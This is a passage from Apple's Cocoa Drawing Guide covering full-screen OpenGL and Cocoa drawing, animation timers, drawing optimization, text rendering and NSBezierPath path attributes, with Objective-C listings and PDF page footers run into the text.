Afterinvoking thesemethods, your application goesimmediately to full-screen mode and you can start drawing content. When requesting a full-screen context in OpenGL, the pixel format for your contextshould include the following attributes: ● NSOpenGLPFAFullScreen ● NSOpenGLPFAScreenMask ● NSOpenGLPFAAccelerated ● NSOpenGLPFANoRecovery (only if your OpenGL graphics context is shared) Listing 6-4 shows the basic steps for capturing all displays and setting up the OpenGL context for full-screen drawing. For information on how to create an NSOpenGLContext object, see “Creating an OpenGL Graphics Context” (page 166). Listing 6-4 Creating an OpenGL full-screen context NSOpenGLContext* CreateScreenContext() { CGDisplayErr err; Advanced Drawing Techniques Drawing to the Screen 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 120err = CGCaptureAllDisplays(); if (err != CGDisplayNoErr) return nil; // Create the context object. NSOpenGLContext* glContext = CreateMyGLContext(); // If the context is bad, release the displays. if (!glContext) { CGReleaseAllDisplays(); return nil; } // Go to full screen mode. [glContext setFullScreen]; // Make this context current so that it receives OpenGL calls. [glContext makeCurrentContext]; return glContext; } Once you go into full-screen mode with your graphics context, your application has full control of the screen. To exit full-screen mode, invoke the clearDrawable method of your OpenGL context and call the CGReleaseAllDisplays function to release the screens back to the system. For detailed sample code showing you how to enter full-screen mode using OpenGL and Cocoa, see the NSOpenGL Fullscreen sample in Sample Code > Graphics & Imaging > OpenGL. Full-Screen Drawing in Cocoa All Cocoa drawing occurs in a window, but for full screen drawing, the window you create is a little different. Instead of a bordered window with a title bar, you need to create a borderless window that spans the entire screen area. Advanced Drawing Techniques Drawing to the Screen 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 121Although you create a full-screen window using Cocoa classes, you still have to use Quartz Services to capture the display and configure the window properly. The capture processis described in “Capturing the Screen” (page 119). Once you capture the screen, the window server puts up a shield window that hides most other content. To make your full-screen window visible, you must adjust its level to sit above this shield. You can get the shield level using the CGShieldingWindowLevel function and pass the returned value to the setLevel: method of your window. Listing 6-5 shows an action method defined in a subclass of NSDocument. The document object uses this method to capture the main display and create the window to fill thatscreen space. The window itself contains a single view (of type MyFullScreenView) for drawing content. (In your own code, you would replace this view with your own custom drawing view.) A reference to the window is stored in the myScreenWindow class instance variable, which is initialized to nil when the class is first instantiated. Listing 6-5 Creating a Cocoa full-screen context - (IBAction)goFullScreen:(id)sender { // Get the screen information. NSScreen* mainScreen = [NSScreen mainScreen]; NSDictionary* screenInfo = [mainScreen deviceDescription]; NSNumber* screenID = [screenInfo objectForKey:@"NSScreenNumber"]; // Capture the screen. CGDirectDisplayID displayID = (CGDirectDisplayID)[screenID longValue]; CGDisplayErr err = CGDisplayCapture(displayID); if (err == CGDisplayNoErr) { // Create the full-screen window if it doesn’t already exist. if (!myScreenWindow) { // Create the full-screen window. NSRect winRect = [mainScreen frame]; myScreenWindow = [[NSWindow alloc] initWithContentRect:winRect styleMask:NSBorderlessWindowMask backing:NSBackingStoreBuffered defer:NO screen:[NSScreen mainScreen]]; Advanced Drawing Techniques Drawing to the Screen 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 122// Establish the window attributes. [myScreenWindow setReleasedWhenClosed:NO]; [myScreenWindow setDisplaysWhenScreenProfileChanges:YES]; [myScreenWindow setDelegate:self]; // Create the custom view for the window. MyFullScreenView* theView = [[MyFullScreenView alloc] initWithFrame:winRect]; [myScreenWindow setContentView:theView]; [theView setNeedsDisplay:YES]; [theView release]; } // Make the screen window the current document window. // Be sure to retain the previous window if you want to use it again. NSWindowController* winController = [[self windowControllers] objectAtIndex:0]; [winController setWindow:myScreenWindow]; // The window has to be above the level of the shield window. int32_t shieldLevel = CGShieldingWindowLevel(); [myScreenWindow setLevel:shieldLevel]; // Show the window. [myScreenWindow makeKeyAndOrderFront:self]; } } To exit full screen mode using Cocoa, simply release the captured display, resize your window so that it does not occupy the entire screen, and set its level back to NSNormalWindowLevel. For more information about the shield window, see Quartz Display Services Reference . Advanced Drawing Techniques Drawing to the Screen 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 123Disabling Screen Updates You can disable and reenable all screen flushes using the NSDisableScreenUpdates and NSEnableScreenUpdates functions. (In OS X v10.4 and later, you can also use the disableScreenUpdatesUntilFlush method of NSWindow.) You can use this technique to synchronize flushes to both a parent and child window. As soon as you reenable screen updates, all windows are flushed simultaneously (or at least close to it). To prevent the system from appearing frozen, the system may automatically reenable screen updates if your application leaves them disabled for a prolonged period of time. If you leave screen updates disabled for more than 1 second, the system automatically reenables them. Using NSTimer for Animated Content By default, Cocoa sends a drawRect: message to your views only when a user action causes something to change. If your view contains animated content, you probably want to update that content at more regular intervals. For both indeterminate-length and finite-length animations, you can do this using timers. Note: For finite-length animations, you can also use an NSAnimation object to control the animation timing. For more information, see “Using Cocoa Animation Objects” (page 125). The NSTimer class provides a mechanism for generating periodic events in your application. When a preset time is reached, the timer object sends a message to your application, giving you the chance to perform any desired actions. For animations, you would use a timer to tell your application that it is time to draw the next frame. There are two steps involved with getting a timer to run. The first step is to create the NSTimer object itself and specify the object to notify, the message to send, the time interval for the notification, and whether the timer repeats. The second step is to install that timer object on the run loop of your thread. The methods scheduledTimerWithTimeInterval:invocation:repeats: and scheduledTimerWithTimeInterval:target:selector:userInfo:repeats: perform both of these steps for you. Other methods of NSTimer create the timer but do not install it on the run loop. For information and examples on how to create and use timers, see Timer Programming Topics. Advanced Drawing Techniques Using NSTimer for Animated Content 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 124Using Cocoa Animation Objects The NSAnimation and NSViewAnimation classes provide sophisticated behavior for animations that occur over a finite length of time. OS X uses animation objects to implement transition animations for user interface elements. You can define custom animation objects to implement animations for your own code. Unlike NSTimer, animation notifications can occur at irregular intervals, allowing you to create animationsthat appear to speed up or slow down. For information about how to use Cocoa animation objects, see Animation Programming Guide for Cocoa . Optimizing Your Drawing Code The following sections provide some basic guidance for improving the overall performance of your drawing code. These are the things that you should definitely be doing in your code. For a more comprehensive list of drawing optimization techniques, see Drawing Performance Guidelines. Draw Minimally Even with modern graphics hardware, drawing is still an expensive operation. The best way to reduce the amount of time spent in your drawing code is to draw only what is needed in the first place. During a view update, the drawRect: method receives a rectangle that specifies the portion of the view that needs to be updated. This rectangle is always limited to the portion of the view that is currently visible and in some cases may be even smaller. Your drawing code should pay attention to this rectangle and avoid drawing content outside of it. Because the rectangle passed to drawRect: might be a union ofseveralsmaller rectangles, an even better approach is to call the view’s getRectsBeingDrawn:count: method and constrain your drawing to the exact list of rectangles returned by that method. Avoid Forcing Synchronous Updates When invalidating portions of your views, you should avoid using the display family of methods to force an immediate update. These methods cause the system to send a drawRect: message to the affected view (and potentially other views in the hierarchy) immediately rather than wait until the next regular update cycle. If there are several areas to update, this may result in a lot of extra work for your drawing code. Instead, you should use the setNeedsDisplay: and setNeedsDisplayInRect: methods to mark areas as needing an update. When you call these methods, the system collects the rectangles you specify and coalesces them into a combined update region, which it then draws during the next update cycle. Advanced Drawing Techniques Using Cocoa Animation Objects 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 125If you are creating animated content, you should also be careful not to trigger visual updates more frequently than the screen refresh rate allows. Updating faster than the refresh rate results in your code drawing frames that are never seen by the user. In addition, updating faster than the refresh rate is not allowed in OS X v10.4 and later. If you try to update the screen faster than the refresh rate, the window server may block the offending thread until the next update cycle. Reuse Your Objects If you have objects that you plan to use more than once, consider caching them for later use. Caching saves time by eliminating the need to recreate objects each time you want to draw them. Of course, caching requires more memory, so be judicious about what you cache. It is faster to recreate an object in memory than page it in from disk. Many objects are cached automatically by Cocoa and do not need to be cached in your own code. For example, Cocoa caches NSColor objects representing commonly used colors as those colors are requested. Minimize State Changes Every time you save the graphics state, you incur a small performance penalty. Whenever you have objects with the same rendering attributes, try to draw them all at the same time. If you save and restore the graphics state for each object, you may waste some CPU cycles. With Cocoa, methods and functions that draw right away usually involve a change in graphics state. For example, when you call the stroke method of NSBezierPath, the object automatically saves the graphics state and appliesthe options associated with that path. While you are building the path, however, the graphics state does not change. Thus, if you want to draw several shapes using the same graphics attributes, it is advantageous to fill a single NSBezierPath with all of the shapes and then draw them all as a group. Note: There is a tradeoff between creating larger, more complex Bezier paths and using individual objects for each shape you want to draw. As path complexity increases, so do the number of calculations required to determine fill characteristics and to perform hit detection—see “Reduce Path Complexity” (page 155). When creating Bezier paths, you need to find an appropriate balance between path complexity and graphics state changes. Advanced Drawing Techniques Optimizing Your Drawing Code 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 126Text rendering is a special type of drawing that is an important part of most applications. Cocoa provides a range of options for rendering text that should satisfy the needs of most developers. The following sections cover these options briefly. For more detailed information, you should see the documents in Reference Library > Cocoa > Text & Fonts. Text Attributes Cocoa provides support for programmatically getting font information using the NSFont class. You can apply fonts as attributes to strings or use them to set the default font in the current context. The Cocoa text system also uses font objects for formatting text. You request NSFont objects from Cocoa using the name and size of the font you want, as shown in the following example. NSFont* font1= [NSFont fontWithName:@"Helvetica" size:9.0]; NSFont* font2 = [NSFont fontWithName:@"Helvetica Bold" size:10.0]; The NSFont class does not provide a programmatic way to modify other text attributes, such as the character spacing and text drawing mode. Cocoa does, however, provide a system Font panel that you can display to the user. From this panel, the user can make changes to the current font attributes. You can also set most text options using the Cocoa text system, which is described in “Advanced Text Drawing” (page 128). Although you usually specify font attributes directly when drawing NSString and NSAttributedString objects, you can also change the font and font size information in the current graphics state. To change these values, you create an NSFont object and invoke its set method. For information about working with fonts and font objects, see Font Handling . For information about how to display the Font panel, see Font Panel Programming Topics. 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 127 TextSimple Text Drawing If you need to draw a small amount of text quickly, the simplest way to do it is using the methods of NSString and NSAttributedString. The Application Kit defines methods on these classes that support drawing the string in the current context. For an NSString object, you can apply basic attributes (such as font, color, and style settings) to the entire string during drawing. For an NSAttributedString object, you can apply multiple sets of attributes to different parts of the string. Prior to OS X v10.4, the NSString and NSAttributedString classes were intended for rendering text occasionally in your program. The performance of these drawing methods was not as good asthe performance you could get by rendering text using the Cocoa text system. Also, the layout for strings is limited to a simple rectangular area in the current view. In OS X v10.4, performance of the string drawing methods improved significantly and is useful in many situations; of course, you should always measure the performance yourself and see if it is adequate for your program. If you need to do more complex text layout, you should still consider using the Cocoa text system. For information on string drawing methods, see NSString Application Kit Additions Reference or NSAttributedString Application Kit Additions Reference in Application Kit Framework Reference . Advanced Text Drawing If your program displays a lot of text or needs to arrange text in complex ways, you should use the Cocoa text system. This system provides advanced text-handling capabilities on top of basic features such as text input, layout, display, editing, copying, and pasting. The system supports multiple fonts and paragraph styles, embedded images, spell checking, nonrectangular text containers, and sophisticated typesetting features, among many other features. Text layout is one of the most expensive drawing-related operations you can do and the Cocoa text system is optimized for the best possible performance. The text system manages a sophisticated set of caches and optimizes the times at which it performs layout to reduce the impact on your program’s drawing cycle. Of course, these optimizations work only if your program reuses its text objects, but doing so is relatively simple. The simplest way to use the Cocoa text system is to place an NSTextView object in one of your windows. A text view object creates and maintainsthe text layout objectsit needsto draw text and respondsto user events to modify the text. If you want to have more control over the text layout and editing behavior, you can tie into the Cocoa text system at several places. The text engine at the heart of the Cocoa text system is highly customizable. You can subclass several text system classes to provide custom layout and typesetting behavior. You can also create your own text-based views to provide features beyond what the default NSTextView offers. Text Simple Text Drawing 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 128For information about the Cocoa text system, you should start by reading Cocoa Text Architecture Guide . That document describes the basic concepts of the text system and introduces you to many of the classes involved in text layout and management. It also provides simple tutorials to get you started and pointers to other text-related documents. Text Advanced Text Drawing 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 129Cocoa provides support for drawing simple or complex geometric shapes using paths. A path is a collection of points used to create primitive shapes such as lines, arcs, and curves. From these primitives, you can create more complex shapes, such as circles, rectangles, polygons, and complex curved shapes, and paint them. Because they are composed of points(as opposed to a rasterized bitmap), paths are lightweight, fast, and scale to different resolutions without losing precision or quality. The following sectionsfocus primarily on the use of the NSBezierPath class, which providesthe main interface for creating and manipulating paths. Cocoa also provides a handful of functions that offer similar behavior for creating and drawing paths but do not require the overhead of creating an object. Those functions are mentioned where appropriate, but for more information,see Foundation Framework Reference and Application Kit Framework Reference . Path Building Blocks Cocoa defines several fundamental data types for manipulating geometric information in the drawing environment. These data types include NSPoint, NSRect, and NSSize. You use these data types to specify lines, rectangles, and width and height information for the shapes you want to draw. Everything from lines and rectangles to circles, arcs, and Bezier curves can be specified using one or more of these data structures. The coordinate values for point, rectangle, and size data types are all specified using floating-point values. Floating-point values allow for much finer precision asthe resolution of the underlying destination device goes up. The NSPoint, NSRect, and NSSize data types have equivalentsin the Quartz environment: CGPoint, CGRect, and CGSize. Because the layout of the Cocoa and Quartz types are identical, you can convert between two types by casting from one type to its counterpart. 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 130 PathsThe NSBezierPath Class The NSBezierPath class provides the behavior for drawing most primitive shapes, and for many complex shapes, it isthe only tool available in Cocoa. An NSBezierPath object encapsulatesthe information associated with a path, including the pointsthat define the path and the attributesthat affect the appearance of the path. The following sections explain how NSBezierPath represents path information and also describe the attributes that affect a path’s appearance. Path Elements An NSBezierPath object uses path elementsto build a path. A path element consists of a primitive command and one or more points. The command tells the path object how to interpret the associated points. When assembled, a set of path elements creates a series of line segments that form the desired shape. The NSBezierPath class handles much of the work of creating and organizing path elementsinitially. Knowing how to manipulate path elements becomes important, however, if you want to make changes to an existing path. If you create a complex path based on user input, you might want to give the user the option of changing that path later. Although you could create a new path object with the changes, it is far simpler to modify the existing path elements. (For information on how to modify path elements, see “Manipulating Individual Path Elements” (page 156).) The NSBezierPath class defines only four basic path element commands, which are listed in Table 8-1. These commands are enough to define all of the possible path shapes. Each command has one or more points that contain information needed to position the path element. Most path elements use the current drawing point as the starting point for drawing. Table 8-1 Path element commands Number Description of points Command Movesthe path object’s current drawing point to the specified point. This path element does not result in any drawing. Using this command in the middle of a path resultsin a disconnected line segment. NSMoveToBezier- 1 PathElement Creates a straight line from the current drawing point to the specified point. Lines and rectangles are specified using this path element. NSLineToBezier- 1 PathElement Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 131Number Description of points Command Creates a curved line segment from the current point to the specified endpoint using two control pointsto define the curve. The points are stored in the following order: controlPoint1, controlPoint2, endPoint. Ovals, arcs, and Bezier curves all use curve elements to specify their geometry. NSCurveToBezier- 3 PathElement Marks the end of the current subpath at the specified point. (Note that the point specified for the Close Path element is essentially the same as the current point. NSClosePathBezier- 1 PathElement When you add a new shape to a path, NSBezierPath breaks that shape down into one or more component path elements for storage purposes. For example, calling moveToPoint: or lineToPoint: creates a Move To element or Line To element respectively. In the case of more complex shapes, like rectangles and ovals, several line or curve elements may be created. Figure 8-1 shows two shapes and the resulting path elements. For the curved segment, the figure also shows the control points that define the curve. Figure 8-1 Path elements for a complex path Listing 8-1 shows the code that creates the path shown in Figure 8-1. Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 132Listing 8-1 Creating a complex path NSBezierPath* aPath = [NSBezierPath bezierPath]; [aPath moveToPoint:NSMakePoint(0.0, 0.0)]; [aPath lineToPoint:NSMakePoint(10.0, 10.0)]; [aPath curveToPoint:NSMakePoint(18.0, 21.0) controlPoint1:NSMakePoint(6.0, 2.0) controlPoint2:NSMakePoint(28.0, 10.0)]; [aPath appendBezierPathWithRect:NSMakeRect(2.0, 16.0, 8.0, 5.0)]; Subpaths A subpath is a series of connected line and curve segments within an NSBezierPath object. A single path object may contain multiple subpaths, with each subpath delineated by a Move To or Close Path element. When you set the initial drawing point (typically using the moveToPoint: method), you set the starting point of the first subpath. As you draw, you build the contents of the subpath until you either close the path (using the closePath method) or add another Move To element. At that point, the subpath is considered closed and any new elements are added to a new subpath. Some methods of NSBezierPath automatically create a new subpath for you. For example, creating a rectangle or oval results in the addition of a Move To element, several drawing elements, and a Close Path and Move To element (see Figure 8-1 (page 132) for an example). The Move To element at the end of the list of elements ensures that the current drawing point is left in a known location, which in this case is at the rectangle’s origin point. Subpaths exist to help you distinguish different parts of a path object. For example, subpaths affect the way a path is filled; see “Winding Rules” (page 141). The division of a path into subpaths also affects methods such as bezierPathByReversingPath, which reversesthe subpaths one at a time. In other cases, though,subpaths in an NSBezierPath object share the same drawing attributes. Path Attributes An NSBezierPath object maintains all of the attributes needed to determine the shape of its path. These attributes include the line width, curve flatness, line cap style, line join style, and miter limit of the path. You set these values using the methods of NSBezierPath. Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 133Path attributes do not take effect until you fill or stroke the path, so if you change an attribute more than once before drawing the path, only the last value is used. The NSBezierPath class maintains both a custom and default version of each attribute. Path objects use custom attribute values if they are set. If no custom attribute value is set for a given path object, the default value is used. The NSBezierPath class does not use path attribute values set using Quartz functions. Note: Path attributes apply to the entire path. If you want to use different attributes for different parts of a path, you must create two separate path objects and apply the appropriate attributes to each. The following sections describe the attributes you can set for a path object and how those attributes affect your rendered paths. Line Width The line width attribute controls the width of the entire path. Line width is measured in points and specified as a floating-point value. The default width for all lines is 1. To change the default line width for all NSBezierPath objects, you use the setDefaultLineWidth: method. To set the line width for the current path object, you use the setLineWidth: method of that path object. To set the default line width for shapes rendered without an NSBezierPath object, you must use the CGContextSetLineWidth function in Quartz. Fractional line widths are rendered as close as possible to the specified width, subject to the limitations of the destination device, the position of the line, and the current anti-aliasing setting. For example, suppose you want to draw a line whose width is 0.2 points. Multiplying this width by 1/72 points per inch yields a line that is 0.0027778 inches wide. On a 90 dpi screen, the smallest possible line would be 1 pixel wide or 0.0111 inches. To ensure your line is not hidden on the screen, Cocoa nominally drawsit at the screen’slarger minimum width (0.0111 inches). In reality, if the line straddles a pixel boundary or anti-aliasing is enabled, the line might affect additional pixels on either side of the path. If the output device were a 600 dpi printer instead, Quartz would be able to render the line closer to its true width of 0.0027778 inches. Listing 8-2 draws a few paths using different techniques. The NSFrameRect function uses the default line width to draw a rectangle, so that value must be set prior to calling the function. Path objects use the default value only if a custom value has not been set. You can even change the line width of a path object and draw again to achieve a different path width, although you would also need to move the path to see the difference. Listing 8-2 Setting the line width of a path // Draw a rectangle using the default line width: 2.0. [NSBezierPath setDefaultLineWidth:2.0]; Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 134NSFrameRect(NSMakeRect(20.0, 20.0, 10.0, 10.0)); // Set the line width for a single NSBezierPath object. NSBezierPath* thePath = [NSBezierPath bezierPath]; [thePath setLineWidth:1.0]; // Has no effect. [thePath moveToPoint:NSMakePoint(0.0, 0.0)]; [thePath lineToPoint:NSMakePoint(10.0, 0.0)]; [thePath setLineWidth:3.0]; [thePath lineToPoint:NSMakePoint(10.0, 10.0)]; // Because the last value set is 3.0, all lines are drawn with // a width of 3.0, not just the second line. [thePath stroke]; // Changing the width and stroking again draws the same path // using the new line width. [thePath setLineWidth:4.0]; [thePath stroke]; // Changing the default line width has no effect because a custom // value already exists. The path is rendered with a width of 4.0. [thePath setDefaultLineWidth:5.0]; [thePath stroke]; Line Cap Styles The current line cap style determinesthe appearance of the open end points of a path segment. Cocoa supports the line cap styles shown in Figure 8-2. Figure 8-2 Line cap styles Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 135To set the line cap style for a NSBezierPath object, use the setLineCapStyle: method. The default line cap style is set to NSButtLineCapStyle. To change the default line cap style, use the setDefaultLineCapStyle: method. Listing 8-3 demonstrates both of these methods: Listing 8-3 Setting the line cap style of a path [// Set the default line cap style [NSBezierPath setDefaultLineCapStyle:NSButtLineCapStyle]; // Customize the line cap style for the new object. NSBezierPath* aPath = [NSBezierPath bezierPath]; [aPath moveToPoint:NSMakePoint(0.0, 0.0)]; [aPath lineToPoint:NSMakePoint(10.0, 10.0)]; [aPath setLineCapStyle:NSSquareLineCapStyle]; [aPath stroke]; Line Join Styles The current line join style determines how connected lines in a path are joined at the vertices. Cocoa supports the line join styles shown in Figure 8-3. Figure 8-3 Line join styles To set the line join style for an NSBezierPath object, use the setLineJoinStyle: method. The default line join style is set to NSMiterLineJoinStyle. To change the default line join style, use the setDefaultLineJoinStyle: method. Listing 8-4 demonstrates both of these methods: Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 136Listing 8-4 Setting the line join style of a path [// Set the default line join style [NSBezierPath setDefaultLineJoinStyle:NSMiterLineJoinStyle]; // Customize the line join style for a new path. NSBezierPath* aPath = [NSBezierPath bezierPath]; [aPath moveToPoint:NSMakePoint(0.0, 0.0)]; [aPath lineToPoint:NSMakePoint(10.0, 10.0)]; [aPath lineToPoint:NSMakePoint(10.0, 0.0)]; [aPath setLineJoinStyle:NSRoundLineJoinStyle]; [aPath stroke]; Line Dash Style The line dash style determines the pattern used to stroke a path. By default, stroked paths appear solid. Using a line-dash pattern, you can specify an alternating group of solid and transparent swatches. When setting a line dash pattern, you specify the width (in points) of each successive solid or transparent swatch. The widths you specify are then repeated over the entire length of the path. Figure 8-4 shows some sample line dash patterns, along with the values used to create each pattern. Figure 8-4 Line dash patterns The NSBezierPath class does not support the concept of a default line dash style. If you want a line dash style, you must apply it to a path explicitly using the setLineDash:count:phase: method as shown in Listing 8-5, which renders the last pattern from the preceding figure. Listing 8-5 Adding a dash style to a path void AddDashStyleToPath(NSBezierPath* thePath) { Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 137// Set the line dash pattern. float lineDash[6]; lineDash[0] = 40.0; lineDash[1] = 12.0; lineDash[2] = 8.0; lineDash[3] = 12.0; lineDash[4] = 8.0; lineDash[5] = 12.0; [thePath setLineDash:lineDash count:6 phase:0.0]; } Line Flatness The line flatness attribute determinesthe rendering accuracy for curved segments. The flatness value measures the maximum error tolerance (in pixels) to use during rendering. Smaller values result in smoother curves but require more computation time. Larger values result in more jagged curves but are rendered much faster. Line flatness is one parameter you can tweak when you want to render a large number of curves quickly and do not care about accuracy. For example, you might increase this value during a live resize orscrolling operation when accuracy is not as crucial. Regardless, you should always measure performance to make sure such a modification actually saves time. Figure 8-5 shows how changing the default flatness affects curved surfaces. The figure on the left shows a group of curved surfaces rendered with the flatness value set to 0.6 (its default value). The figure on the right shows the same curved surfaces rendered with the flatness value set to 20. The curvature of each surface is lost and now appears to be a set of connected line segments. Figure 8-5 Flatness effects on curves Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 138To set the flatness for a specific NSBezierPath object, use the setFlatness: method. To set the default flatness value, use setDefaultFlatness:, as shown in Listing 8-6: Listing 8-6 Setting the flatness of a path [- (void) drawRect:(NSRect)rect { if ([self inLiveResize]) { // Adjust the default flatness upward to reduce // the number of required computations. [NSBezierPath setDefaultFlatness:10.0]; // Draw live resize content. } // ... } Miter Limits Miter limits help you avoid spikes that occur when you join two line segments at a sharp angle. If the ratio of the miter length—the diagonal length of the miter—to the line thickness exceeds the miter limit, the corner is drawn using a bevel join instead of a miter join. Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 139Note: Miter limits apply only to paths rendered using the miter join style. Figure 8-6 shows an example of how different miter limits affect the same path. This path consists of several 10-point wide lines connected by miter joins. In the figure on the left, the miter limit is set to 5. Because the miter lengths exceed the miter limit, the line joins are changed to bevel joins. By increasing the miter limit to 16, as shown in the figure on the right, the miter joins are restored but extend far beyond the point where the two lines meet. Figure 8-6 Miter limit effects To set the miter limits for a specific NSBezierPath object, use the setMiterLimit: method. To set the default miter limit for newly created NSBezierPath objects, use setDefaultMiterLimit:. Listing 8-7 demonstrates both of these methods: Listing 8-7 Setting the miter limit for a path // Increase the default limit [NSBezierPath setDefaultMiterLimit:20.0]; // Customize the limit for a specific path with sharp angles. NSBezierPath* aPath = [NSBezierPath bezierPath]; [aPath moveToPoint:NSMakePoint(0.0, 0.0)]; [aPath lineToPoint:NSMakePoint(8.0, 100.0)]; [aPath lineToPoint:NSMakePoint(16.0, 0.0)]; [aPath setLineWidth:5.0]; [aPath setMiterLimit:5.0]; Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 140[aPath stroke]; Winding Rules When you fill the area encompassed by a path, NSBezierPath applies the current winding rule to determine which areas of the screen to fill. A winding rule is simply an algorithm that tracks information about each contiguous region that makes up the path's overall fill area. A ray is drawn from a point inside a given region to any point outside the path bounds. The total number of crossed path lines (including implicit lines) and the direction of each path line are then interpreted using the rules in Table 8-2, which determine if the region should be filled. Table 8-2 Winding rules Winding rule Description Count each left-to-right path as +1 and each right-to-left path as -1. If the sum of all crossings is 0, the point is outside the path. If the sum is nonzero, the point isinside the path and the region containing it isfilled. This is the default winding rule. NSNonZeroWindingRule Count the total number of path crossings. If the number of crossings is even, the point is outside the path. If the number of crossings is odd, the point is inside the path and the region containing it should be filled. NSEvenOddWindingRule Fill operations are suitable for use with both open and closed subpaths. A closed subpath is a sequence of drawing calls that ends with a Close Path path element. An open subpath ends with a Move To path element. When you fill a partial subpath, NSBezierPath closes it for you automatically by creating an implicit (non-rendered) line from the first to the last point of the subpath. Paths The NSBezierPath Class 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 141Figure 8-7 shows how the winding rules are applied to a particular path. Subfigure a shows the path rendered using the nonzero rule and subfigure b shows it rendered using the even-odd rule. Subfigures c and d add direction marks and the hidden path line that closes the figure to help you see how the rules are applied to two of the path’s regions. Figure 8-7 Applying winding rules to a path To set the winding rule for an NSBezierPath object, use the setWindingRule: method. The default winding rule is NSNonZeroWindingRule. To change the default winding rule for all NSBezierPath objects, use the setDefaultWindingRule: method. Manipulating Geometric Types The Foundation framework includes numerousfunctionsfor manipulating geometric values and for performing various calculations using those values. In addition to basic equality checks, you can perform more complex operations,such asthe union and intersection of rectangles or the inclusion of a point in a rectangle’s boundaries. Table 8-3 listssome of the more commonly used functions and their behaviors. The function syntax is provided in a shorthand notation, with parameter types omitted to demonstrate the calling convention. For a complete list of available functions, and their full syntax, see the Functions section in Foundation Framework Reference . Paths Manipulating Geometric Types 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 142Table 8-3 Commonly used geometry functions Operation Function Description Returns a properly formatted NSPoint data structure with the specified x and y values. NSPoint NSMakePoint(x, y) Creation Returns a properly formatted NSSize data structure with the specified width and height. NSSize NSMakeSize(w, h) Returns a properly formatted NSRect data structure with the specified origin (x, y) and size (width, height). NSRect NSMakeRect(x, y, w, h) BOOL NSEqualPoints(p1, Returns YES if the two points are the same. p2) Equality Returns YES if the two size types have identical widths and heights. BOOL NSEqualSizes(s1, s2) Returns YES, if the two rectangles have the same origins and the same widths and heights. BOOL NSEqualRects(r1, r2) Returns YES if rectangle 1 completely encloses rectangle 2. BOOL NSContainsRect(r1, r2) Rectangle manipulations Returns a copy of the specified rectangle with its sides moved inward by the specified delta values. Negative delta values move the sides outward. Does not modify the original rectangle. NSRect NSInsetRect(r, dX, dY) NSRect Returns the intersection of the two rectangles. NSIntersectionRect(r1, r2) NSRect NSUnionRect(r1, Returns the union of the two rectangles. r2) Tests whether the point lies within the specified view rectangle. Adjusts the hit-detection algorithm to provide consistent behavior from the user’s perspective. BOOL NSMouseInRect(p, r, flipped) Tests whether the point lies within the specified rectangle. This is a basic mathematical comparison. BOOL NSPointInRect(p, r) Paths Manipulating Geometric Types 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 143Drawing Fundamental Shapes For many types of content, path-based drawing has several advantages over image-based drawing: ● Because paths are specified mathematically, they scale easily to different resolutions. Thus, the same path objects can be used for screen and print-based drawing. ● The geometry information associated with a path requires much less storage space than most image data formats. ● Rendering paths is often faster than compositing a comparable image. It takes less time to transfer path data to the graphics hardware than it takes to transfer the texture data associated with an image. The following sections provide information about the primitive shapes you can draw using paths. You can combine one or more of these shapesto create a more complex path and then stroke or fill the path as described in “Drawing the Shapes in a Path” (page 152). For some shapes, there may be more than one way to add the shape to a path, or there may be alternate waysto draw the shape immediately. Wherever possible, the benefits and disadvantages of each technique are listed to help you decide which technique is most appropriate in specific situations. Adding Points An NSPoint structure by itself represents a location on the screen; it has no weight and cannot be drawn as such. To draw the equivalent of a point on the screen, you would need to create a small rectangle at the desired location, as shown in Listing 8-8. Listing 8-8 Drawing a point void DrawPoint(NSPoint aPoint) { NSRect aRect = NSMakeRect(aPoint.x, aPoint.y, 1.0, 1.0); NSRectFill(aRect); } Of course, a more common use for points is to specify the position of other shapes. Many shapes require you to specify the current point before actually creating the shape. You set the current point using the moveToPoint: or relativeMoveToPoint: methods. Some shapes, like rectangles and ovals, already contain location information and do not require a separate call to moveToPoint:. Paths Drawing Fundamental Shapes 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 144Important: You must specify a starting point before drawing individual line, arc, curve, and glyph paths. If you do not, NSBezierPath raises an exception. Adding Lines and Polygons Cocoa provides a couple of options for adding lines to a path, with each technique offering different tradeoffs between efficiency and correctness. You can draw lines in the following ways: ● Create single horizontal and vertical lines by filling a rectangle using NSRectFill. This technique is less precise but is often a little faster than creating an NSBezierPath object. To create diagonal lines using this technique, you must apply a rotation transform before drawing. This technique is not appropriate for creating connected line segments. ● Use the lineToPoint:, relativeLineToPoint:, or strokeLineFromPoint:toPoint: methods of NSBezierPath to create individual or connected line segments. This technique is fast and is the most precise option for creating lines and complex polygons. ● Use the appendBezierPathWithPoints:count: method to create a series of connected lines quickly. This technique is faster than adding individual lines. Polygons are composed of multiple connected lines and should be created using an NSBezierPath object. The simplest way to create a four-sided nonrectangular shape, like a parallelogram, rhombus, or trapezoid, is using line segments. You could also create these shapes using transforms, but calculating the correct skew factors would 